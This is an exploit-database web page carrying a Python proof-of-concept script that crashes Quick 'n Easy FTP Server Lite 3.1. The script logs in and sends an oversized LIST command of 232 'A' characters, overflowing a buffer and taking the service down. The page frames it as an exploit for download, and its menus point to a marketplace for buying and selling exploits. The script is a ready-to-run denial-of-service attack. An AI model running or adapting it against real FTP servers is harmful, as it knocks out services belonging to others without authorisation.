0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Quick 'n Easy FTP Server Lite Version 3.1 Crash PoC
[===================================================
Quick 'n Easy FTP Server Lite Version 3.1 Crash PoC
===================================================
#!/usr/bin/python
print "\n############################################################"
print "## Team Hackers Garage ##"
print "## Quick 'n Easy FTP Server Lite Version 3.1 ##"
print "## Crash PoC ##"
print "## Sumit Sharma (aka b0nd) ##"
print "## sumit.iips@gmail.com ##"
print "## ##"
print "## Special Thanks to: Double_Zero ##"
print "## (http://www.exploit-db.com/author/DouBle_Zer0) ##"
print "## & ##"
print "## Peter Van (CORELAN TEAM) ##"
print "## ##"
print "############################################################"
# Summary: The "LIST" command in Version 3.1 of Quick 'n Easy FTP Server Lite is vulnerable
# Tested on: Windows XP SP2
# ftp> ls AAAA... 232 A's...AAA?
# Server Crash!
# Only EBX gets overwritten at the time of crash with the string following first 232 A's (in case using longer string).
# No SEH overwrite
# No EIP overwrite
from socket import *
host = "172.12.128.4" # Virtual Windows XP SP2
port = 21
user = "test" # "upload" and "download" access
password = "test"
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)
s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)
buffer = "LIST "
buffer += "A" * 232
buffer += "?"
buffer += "\r\n"
s.send(buffer)
print s.recv(1024)
s.close()
print "---->>> Server Crash!!!"
# 0day.today [2024-12-26] #